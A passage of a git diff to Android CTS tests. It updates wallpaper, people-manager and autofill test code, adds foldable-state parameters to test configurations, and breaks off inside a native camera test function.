 package android.app.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import android.app.WallpaperInfo;
+import android.app.stubs.LiveWallpaper;
+import android.app.stubs.LiveWallpaperNoUnfoldTransition;
 import android.app.stubs.R;
 import android.content.Context;
 import android.content.Intent;
@@ -39,15 +43,24 @@
 public class WallpaperInfoTest {
 
     @Test
-    public void test() throws Exception {
+    public void test_wallpaperServiceQuery() {
         Context context = InstrumentationRegistry.getTargetContext();
         Intent intent = new Intent(WallpaperService.SERVICE_INTERFACE);
         intent.setPackage("android.app.stubs");
         PackageManager pm = context.getPackageManager();
+
         List<ResolveInfo> result = pm.queryIntentServices(intent, PackageManager.GET_META_DATA);
-        assertEquals(1, result.size());
-        ResolveInfo info = result.get(0);
-        WallpaperInfo wallpaperInfo = new WallpaperInfo(context, info);
+
+        assertEquals(2, result.size());
+    }
+
+    @Test
+    public void test_wallpaperInfoOptions() {
+        Context context = InstrumentationRegistry.getTargetContext();
+        PackageManager pm = context.getPackageManager();
+
+        WallpaperInfo wallpaperInfo = getInfoForService(LiveWallpaper.class);
+
         assertEquals(context.getString(R.string.wallpaper_title), wallpaperInfo.loadLabel(pm));
         assertEquals(context.getString(R.string.wallpaper_description),
             wallpaperInfo.loadDescription(pm));
@@ -59,9 +72,45 @@
             wallpaperInfo.loadContextUri(pm).toString());
         assertEquals(context.getString(R.string.wallpaper_slice_uri),
             wallpaperInfo.getSettingsSliceUri().toString());
-        assertEquals(true, wallpaperInfo.getShowMetadataInPreview());
-        assertEquals(true, wallpaperInfo.supportsMultipleDisplays());
+        assertTrue(wallpaperInfo.getShowMetadataInPreview());
+        assertTrue(wallpaperInfo.supportsMultipleDisplays());
+        assertTrue(wallpaperInfo.shouldUseDefaultUnfoldTransition());
         assertNotNull(wallpaperInfo.loadIcon(pm));
         assertNotNull(wallpaperInfo.loadThumbnail(pm));
     }
+
+    @Test
+    public void test_defaultUnfoldTransitionDisabled() {
+        WallpaperInfo wallpaperInfo = getInfoForService(LiveWallpaperNoUnfoldTransition.class);
+
+        assertFalse(wallpaperInfo.shouldUseDefaultUnfoldTransition());
+    }
+
+    private <T extends WallpaperService> WallpaperInfo getInfoForService(Class<T> service) {
+        Context context = InstrumentationRegistry.getTargetContext();
+        Intent intent = new Intent(WallpaperService.SERVICE_INTERFACE);
+        intent.setPackage("android.app.stubs");
+        PackageManager pm = context.getPackageManager();
+        List<ResolveInfo> result = pm.queryIntentServices(intent, PackageManager.GET_META_DATA);
+
+        ResolveInfo info = null;
+        for (int i = 0; i < result.size(); i++) {
+            ResolveInfo resolveInfo = result.get(i);
+            if (resolveInfo.serviceInfo.name.equals(service.getName())) {
+                info = resolveInfo;
+                break;
+            }
+        }
+
+        if (info == null) {
+            throw new AssertionError(service.getName() + " was not found in the queried "
+                    + "wallpaper services list " + result);
+        }
+
+        try {
+            return new WallpaperInfo(context, info);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
 }
diff --git a/tests/app/src/android/app/people/cts/PeopleManagerTest.java b/tests/app/src/android/app/people/cts/PeopleManagerTest.java
index 776a0c5..8b67eb4 100644
--- a/tests/app/src/android/app/people/cts/PeopleManagerTest.java
+++ b/tests/app/src/android/app/people/cts/PeopleManagerTest.java
@@ -164,6 +164,7 @@
                 .setSmallIcon(android.R.drawable.sym_def_app_icon);
         return nb;
     }
+
     public void testIsConversationWithoutPermission() throws Exception {
         try {
             mPeopleManager.isConversation(mContext.getPackageName(), SHARE_SHORTCUT_ID);
@@ -190,6 +191,23 @@
         }
     }
 
+    public void testAddOrUpdateStatus_withExpiration() throws Exception {
+        long expirationDuration = 1000;
+        ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
+                .setAvailability(AVAILABILITY_AVAILABLE)
+                .setEndTimeMillis(System.currentTimeMillis() + expirationDuration)
+                .build();
+        mPeopleManager.addOrUpdateStatus(SHARE_SHORTCUT_ID, cs);
+
+        List<ConversationStatus> statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+
+        assertTrue(statuses.contains(cs));
+        Thread.sleep(expirationDuration * 2);
+
+        statuses = mPeopleManager.getStatuses(SHARE_SHORTCUT_ID);
+        assertTrue(statuses.isEmpty());
+    }
+
     public void testAddOrUpdateStatus_add() throws Exception {
         ConversationStatus cs = new ConversationStatus.Builder("id", ACTIVITY_GAME)
                 .setAvailability(AVAILABILITY_AVAILABLE)
diff --git a/tests/appsearch/AndroidTest.xml b/tests/appsearch/AndroidTest.xml
index dcfb2aa..9577159 100644
--- a/tests/appsearch/AndroidTest.xml
+++ b/tests/appsearch/AndroidTest.xml
@@ -17,6 +17,7 @@
 <configuration description="Config for CTS AppSearch test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/tests/aslr/AndroidTest.xml b/tests/aslr/AndroidTest.xml
index dd2b35d..e8f7a07 100644
--- a/tests/aslr/AndroidTest.xml
+++ b/tests/aslr/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsAslrMallocTestCases->/data/local/tmp/CtsAslrMallocTestCases" />
diff --git a/tests/attentionservice/AndroidTest.xml b/tests/attentionservice/AndroidTest.xml
index 06fd362..356441c 100644
--- a/tests/attentionservice/AndroidTest.xml
+++ b/tests/attentionservice/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAttentionServiceDeviceTestCases.apk" />
diff --git a/tests/autofillservice/AndroidTest.xml b/tests/autofillservice/AndroidTest.xml
index 3186d47..2c97783 100644
--- a/tests/autofillservice/AndroidTest.xml
+++ b/tests/autofillservice/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for AutoFill Framework CTS tests.">
   <option name="test-suite-tag" value="cts" />
+  <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
   <option name="config-descriptor:metadata" key="component" value="autofill" />
   <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
   <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
index 074b422..f821d68 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DuplicateIdActivityTest.java
@@ -19,6 +19,7 @@
 import static android.autofillservice.cts.activities.DuplicateIdActivity.DUPLICATE_ID;
 import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
 import static android.autofillservice.cts.testcore.Helper.assertEqualsIgnoreSession;
+import static android.autofillservice.cts.testcore.Helper.getActivityTitle;
 
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
 
@@ -34,12 +35,15 @@
 import android.autofillservice.cts.testcore.CannedFillResponse;
 import android.autofillservice.cts.testcore.Helper;
 import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.text.TextUtils;
 import android.util.Log;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.autofill.AutofillId;
 import android.widget.EditText;
 
+import androidx.test.InstrumentationRegistry;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -77,9 +81,17 @@
      * @return An array containing the two tested views
      */
     private AssistStructure.ViewNode[] findViews(InstrumentedAutoFillService.FillRequest request,
-            int expectedCount) {
-        assertThat(request.structure.getWindowNodeCount()).isEqualTo(1);
-        AssistStructure.WindowNode windowNode = request.structure.getWindowNodeAt(0);
+            int expectedCount, String activityTitle) {
+        AssistStructure.WindowNode windowNode = null;
+        int count = 0;
+        final int nodes = request.structure.getWindowNodeCount();
+        for (int i = 0; i < nodes; ++i) {
+            if (TextUtils.equals(request.structure.getWindowNodeAt(i).getTitle(), activityTitle)) {
+                windowNode = request.structure.getWindowNodeAt(i);
+                count++;
+            }
+        }
+        assertThat(count).isEqualTo(1);
 
         AssistStructure.ViewNode rootNode = windowNode.getRootViewNode();
 
@@ -110,7 +122,9 @@
         final InstrumentedAutoFillService.FillRequest request1 = sReplier.getNextFillRequest();
         Log.v(TAG, "request1: " + request1);
 
-        final AssistStructure.ViewNode[] views1 = findViews(request1, 2);
+        final String activityTitle = getActivity().getPackageName() + "/"
+                + getActivityTitle(InstrumentationRegistry.getInstrumentation(), getActivity());
+        final AssistStructure.ViewNode[] views1 = findViews(request1, 2, activityTitle);
         final AssistStructure.ViewNode view1 = views1[0];
         final AssistStructure.ViewNode view2 = views1[1];
         final AutofillId id1 = view1.getAutofillId();
@@ -148,7 +162,7 @@
 
         final InstrumentedAutoFillService.FillRequest request3 = sReplier.getNextFillRequest();
         Log.v(TAG, "request3: " + request3);
-        final AssistStructure.ViewNode[] views2 = findViews(request3, 3);
+        final AssistStructure.ViewNode[] views2 = findViews(request3, 3, activityTitle);
         final AssistStructure.ViewNode recreatedView1 = views2[0];
         final AssistStructure.ViewNode recreatedView2 = views2[1];
         final AssistStructure.ViewNode newView1 = views2[2];
diff --git a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
index 20437f7..34e52b7 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/MultiWindowLoginActivityTest.java
@@ -63,7 +63,7 @@
             @Override
             protected void afterActivityLaunched() {
                 mActivity = getActivity();
-                mTaskOrganizer = new TestTaskOrganizer(mContext);
+                mTaskOrganizer = new TestTaskOrganizer();
             }
         };
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java
index 53bd825..cceec68 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/MultiWindowLoginActivity.java
@@ -16,6 +16,7 @@
 package android.autofillservice.cts.activities;
 
 import android.autofillservice.cts.testcore.Timeouts;
+import android.content.res.Configuration;
 
 import com.android.compatibility.common.util.RetryableException;
 
@@ -48,6 +49,17 @@
         }
     }
 
+    @Override
+    public void onMultiWindowModeChanged(boolean isInMultiWindowMode, Configuration newConfig) {
+        super.onMultiWindowModeChanged(isInMultiWindowMode, newConfig);
+        if (sLastInstanceLatch != null) {
+            // mWindowingMode is split-screen-primary
+            if (isInMultiWindowMode) {
+                sLastInstanceLatch.countDown();
+            }
+        }
+    }
+
     public static void expectNewInstance(boolean waitWindowFocus) {
         sLastInstanceLatch = new CountDownLatch(waitWindowFocus ? 2 : 1);
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
index b206d5b..6f37728 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
@@ -109,7 +109,7 @@
         }
 
         protected static InlineUiBot getInlineUiBot() {
-            return sDefaultUiBot2;
+            return new InlineUiBot(getContext());
         }
 
         protected static UiBot getDropdownUiBot() {
@@ -480,7 +480,6 @@
     }
 
     protected static final UiBot sDefaultUiBot = new UiBot();
-    protected static final InlineUiBot sDefaultUiBot2 = new InlineUiBot();
 
     private AutoFillServiceTestCase() {
         throw new UnsupportedOperationException("Contain static stuff only");
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java
index d4c9863..1880ed3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginActivityTest.java
@@ -31,7 +31,7 @@
 import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
 import static android.autofillservice.cts.testcore.Helper.allowOverlays;
 import static android.autofillservice.cts.testcore.Helper.assertHasFlags;
-import static android.autofillservice.cts.testcore.Helper.assertNumberOfChildren;
+import static android.autofillservice.cts.testcore.Helper.assertNumberOfChildrenWithWindowTitle;
 import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
 import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
 import static android.autofillservice.cts.testcore.Helper.assertTextOnly;
@@ -41,6 +41,7 @@
 import static android.autofillservice.cts.testcore.Helper.dumpStructure;
 import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
 import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.getActivityTitle;
 import static android.autofillservice.cts.testcore.Helper.isAutofillWindowFullScreen;
 import static android.autofillservice.cts.testcore.Helper.setUserComplete;
 import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.SERVICE_CLASS;
@@ -116,6 +117,7 @@
 import android.widget.EditText;
 import android.widget.RemoteViews;
 
+import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.FlakyTest;
 
 import com.android.compatibility.common.util.RetryableException;
@@ -2095,7 +2097,10 @@
         // But it also has an intermediate container (for username) that should be included because
         // it has a resource id.
 
-        assertNumberOfChildren(fillRequest.structure, 12);
+        // get activity title
+        final CharSequence activityTitle = mActivity.getPackageName() + "/"
+                + getActivityTitle(InstrumentationRegistry.getInstrumentation(), mActivity);
+        assertNumberOfChildrenWithWindowTitle(fillRequest.structure, 12, activityTitle);
 
         // Make sure container with a resource id was included:
         final ViewNode usernameContainer = findNodeByResourceId(fillRequest.structure,
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java
index 72b0e8f..66ab8aa 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/VirtualContainerActivityCompatModeTest.java
@@ -286,6 +286,7 @@
         // Fill in some stuff
         mActivity.mUsername.setText("foo");
         sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+        SystemClock.sleep(300);
         focusToPasswordExpectNoWindowEvent();
         sReplier.getNextFillRequest();
         mActivity.mPassword.setText("bar");
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
index 3bd55d5..b39a080 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
@@ -30,6 +30,7 @@
 import android.autofillservice.cts.testcore.AutofillActivityTestRule;
 import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
 import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
+import android.autofillservice.cts.testcore.InlineUiBot;
 import android.content.IntentSender;
 import android.platform.test.annotations.Presubmit;
 import android.service.autofill.Dataset;
@@ -38,6 +39,7 @@
 import android.widget.EditText;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 @Presubmit
 public class InlineAugmentedAuthTest
@@ -59,6 +61,11 @@
         };
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testDatasetAuth_resultOk_validDataset() throws Exception {
         // Set services
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java
index a8800c8..4d7efce 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java
@@ -27,6 +27,7 @@
 import android.autofillservice.cts.testcore.AutofillActivityTestRule;
 import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
 import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
+import android.autofillservice.cts.testcore.InlineUiBot;
 import android.content.ClipData;
 import android.content.ContentResolver;
 import android.content.IntentSender;
@@ -43,6 +44,7 @@
 
 import org.junit.Before;
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 import java.util.concurrent.atomic.AtomicInteger;
 
@@ -71,6 +73,11 @@
         };
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Before
     public void before() throws Exception {
         mContentResolver = mContext.getContentResolver();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
index bae5a21..9c9e3ab 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedWebViewActivityTest.java
@@ -31,6 +31,7 @@
 import android.autofillservice.cts.testcore.CannedFillResponse;
 import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
 import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
 import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
 import android.support.test.uiautomator.UiObject2;
 import android.util.Log;
@@ -41,6 +42,7 @@
 import androidx.test.filters.FlakyTest;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 @FlakyTest(bugId = 162372863)
 public class InlineAugmentedWebViewActivityTest extends
@@ -70,6 +72,11 @@
         };
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testAugmentedAutoFillNoDatasets() throws Exception {
         // Set service.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
index 4e3a7a5..f1e039d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
@@ -397,7 +397,7 @@
         mUiBot.assertSuggestion("Username" + firstDataset);
 
         // Scroll the suggestion view
-        mUiBot.scrollSuggestionView(Direction.RIGHT, /* speed */ 5000);
+        mUiBot.scrollSuggestionView(Direction.RIGHT, /* speed */ 3000);
         mUiBot.waitForIdleSync();
 
         mUiBot.assertNoSuggestion("Username" + firstDataset);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
index fef24f1..f1bacb5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/AugmentedHelper.java
@@ -27,6 +27,7 @@
 import android.app.assist.AssistStructure;
 import android.autofillservice.cts.testcore.CtsAugmentedAutofillService.AugmentedFillRequest;
 import android.content.ComponentName;
+import android.content.Context;
 import android.service.autofill.augmented.FillRequest;
 import android.util.Log;
 import android.util.Pair;
@@ -37,6 +38,8 @@
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
 
+import com.android.cts.mockime.MockImeSession;
+
 import java.util.List;
 import java.util.Objects;
 import java.util.concurrent.CountDownLatch;
@@ -76,10 +79,19 @@
         runShellCommand("cmd autofill set temporary-augmented-service 0");
     }
 
+    /**
+     * Returns whether MockIme is available.
+     */
+    public static boolean mockImeIsAvailable(Context context) {
+        return MockImeSession.getUnavailabilityReason(context) == null;
+    }
+
     public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
             @NonNull Activity activity, @NonNull AutofillId expectedFocusedId,
             @Nullable AutofillValue expectedFocusedValue) {
-        assertBasicRequestInfo(request, activity, expectedFocusedId, expectedFocusedValue, true);
+        final boolean hasDefaultInlineRequest = mockImeIsAvailable(activity.getBaseContext());
+        assertBasicRequestInfo(request, activity, expectedFocusedId, expectedFocusedValue,
+                hasDefaultInlineRequest);
     }
 
     public static void assertBasicRequestInfo(@NonNull AugmentedFillRequest request,
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
index c2dfb13..1d519d7 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
@@ -33,6 +33,7 @@
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.app.PendingIntent;
 import android.app.assist.AssistStructure;
 import android.app.assist.AssistStructure.ViewNode;
@@ -758,10 +759,9 @@
     /**
      * Asserts the number of children in the Assist structure.
      */
-    public static void assertNumberOfChildren(AssistStructure structure, int expected) {
-        assertWithMessage("wrong number of nodes").that(structure.getWindowNodeCount())
-                .isEqualTo(1);
-        final int actual = getNumberNodes(structure);
+    public static void assertNumberOfChildrenWithWindowTitle(AssistStructure structure,
+            int expected, CharSequence windowTitle) {
+        final int actual = getNumberNodes(structure, windowTitle);
         if (actual != expected) {
             dumpStructure("assertNumberOfChildren()", structure);
             throw new AssertionError("assertNumberOfChildren() for structure failed: expected "
@@ -771,28 +771,46 @@
 
     /**
      * Gets the total number of nodes in an structure.
+     * A node that has a non-null IdPackage which does not match the test package is not counted.
      */
-    public static int getNumberNodes(AssistStructure structure) {
+    public static int getNumberNodes(AssistStructure structure,
+            CharSequence windowTitle) {
         int count = 0;
         final int nodes = structure.getWindowNodeCount();
         for (int i = 0; i < nodes; i++) {
             final WindowNode windowNode = structure.getWindowNodeAt(i);
-            final ViewNode rootNode = windowNode.getRootViewNode();
-            count += getNumberNodes(rootNode);
+            if (windowNode.getTitle().equals(windowTitle)) {
+                final ViewNode rootNode = windowNode.getRootViewNode();
+                count += getNumberNodes(rootNode);
+            }
         }
         return count;
     }
 
     /**
+     * Gets the activity title.
+     */
+    public static CharSequence getActivityTitle(Instrumentation instrumentation,
+            Activity activity) {
+        final StringBuilder titleBuilder = new StringBuilder();
+        instrumentation.runOnMainSync(() -> titleBuilder.append(activity.getTitle()));
+        return titleBuilder;
+    }
+
+    /**
      * Gets the total number of nodes in an node, including all descendants and the node itself.
+     * A node that has a non-null IdPackage which does not match the test package is not counted.
      */
     public static int getNumberNodes(ViewNode node) {
+        if (node.getIdPackage() != null && !node.getIdPackage().equals(MY_PACKAGE)) {
+            Log.w(TAG, "ViewNode ignored in getNumberNodes because of mismatched package: "
+                    + node.getIdPackage());
+            return 0;
+        }
         int count = 1;
         final int childrenSize = node.getChildCount();
-        if (childrenSize > 0) {
-            for (int i = 0; i < childrenSize; i++) {
-                count += getNumberNodes(node.getChildAt(i));
-            }
+        for (int i = 0; i < childrenSize; i++) {
+            count += getNumberNodes(node.getChildAt(i));
         }
         return count;
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
index 50892fc..f488f09 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
@@ -20,14 +20,16 @@
 import static android.autofillservice.cts.testcore.Timeouts.LONG_PRESS_MS;
 import static android.autofillservice.cts.testcore.Timeouts.UI_TIMEOUT;
 
+import android.content.Context;
 import android.content.pm.PackageManager;
+import android.content.res.Resources;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.Direction;
 import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
 
 import com.android.compatibility.common.util.RequiredFeatureRule;
-import com.android.compatibility.common.util.Timeout;
 import com.android.cts.mockime.MockIme;
 
 import org.junit.rules.RuleChain;
@@ -46,12 +48,11 @@
     private static final RequiredFeatureRule REQUIRES_IME_RULE = new RequiredFeatureRule(
             PackageManager.FEATURE_INPUT_METHODS);
 
-    public InlineUiBot() {
-        this(UI_TIMEOUT);
-    }
+    private final Context mContext;
 
-    public InlineUiBot(Timeout defaultTimeout) {
-        super(defaultTimeout);
+    public InlineUiBot(Context context) {
+        super(UI_TIMEOUT);
+        mContext = context;
     }
 
     public static RuleChain annotateRule(TestRule rule) {
@@ -73,7 +74,7 @@
      * Selects the suggestion in the {@link MockIme}'s suggestion strip by the given text.
      */
     public void selectSuggestion(String name) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 strip = findSuggestionStrip();
         final UiObject2 dataset = strip.findObject(By.text(name));
         if (dataset == null) {
             throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
@@ -88,7 +89,7 @@
 
     @Override
     public void longPressSuggestion(String name) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 strip = findSuggestionStrip();
         final UiObject2 dataset = strip.findObject(By.text(name));
         if (dataset == null) {
             throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
@@ -97,14 +98,14 @@
     }
 
     @Override
-    public UiObject2 assertDatasets(String...names) throws Exception {
-        final UiObject2 picker = findSuggestionStrip(UI_TIMEOUT);
+    public UiObject2 assertDatasets(String... names) throws Exception {
+        final UiObject2 picker = findSuggestionStrip();
         return assertDatasets(picker, names);
     }
 
     @Override
     public void assertSuggestion(String name) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 strip = findSuggestionStrip();
         final UiObject2 dataset = strip.findObject(By.text(name));
         if (dataset == null) {
             throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
@@ -113,7 +114,7 @@
 
     @Override
     public void assertNoSuggestion(String name) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 strip = findSuggestionStrip();
         final UiObject2 dataset = strip.findObject(By.text(name));
         if (dataset != null) {
             throw new AssertionError("has dataset " + name + " in " + getChildrenAsText(strip));
@@ -122,7 +123,10 @@
 
     @Override
     public void scrollSuggestionView(Direction direction, int speed) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 strip = findSuggestionStrip();
+        final int defaultWidth = strip.getVisibleBounds().width() / 4;
+        final int width = getEdgeSensitivityWidth(defaultWidth);
+        strip.setGestureMargin(width);
         strip.fling(direction, speed);
     }
 
@@ -133,7 +137,18 @@
         }
     }
 
-    private UiObject2 findSuggestionStrip(Timeout timeout) throws Exception {
-        return waitForObject(SUGGESTION_STRIP_SELECTOR, timeout);
+    private UiObject2 findSuggestionStrip() throws Exception {
+        return waitForObject(SUGGESTION_STRIP_SELECTOR, Timeouts.UI_TIMEOUT);
+    }
+
+    private int getEdgeSensitivityWidth(int defaultWidth) {
+        Resources resources = mContext.getResources();
+        int resId = resources.getIdentifier("config_backGestureInset", "dimen", "android");
+        try {
+            return resources.getDimensionPixelSize(resId) + 1;
+        } catch (Resources.NotFoundException e) {
+            Log.e(TAG, "Failed to get edge sensitivity width. Defaulting to " + defaultWidth, e);
+            return defaultWidth;
+        }
     }
 }
diff --git a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
index cf02ebe..feb5567 100644
--- a/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
+++ b/tests/camera/api31test/src/android/camera/cts/api31test/SPerfClassTest.java
@@ -206,9 +206,9 @@
     }
 
     /**
-     * Check camera S Performance class requirement for JPEG sizes.
+     * Check JPEG size overrides for devices claiming S Performance class requirement via
+     * Version.MEDIA_PERFORMANCE_CLASS
      */
-    @CddTest(requirement="7.5/H-1-8")
     public void testSPerfClassJpegSizes() throws Exception {
         boolean isSPerfClass = CameraTestUtils.isSPerfClass();
         if (!isSPerfClass) {
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index 9a91a64..3c43ae2 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -1558,6 +1558,14 @@
         return ACameraCaptureSession_stopRepeating(mSession);
     }
 
+    camera_status_t abortCaptures() {
+        if (mSession == nullptr) {
+            ALOGE("Testcase cannot abort session %p", mSession);
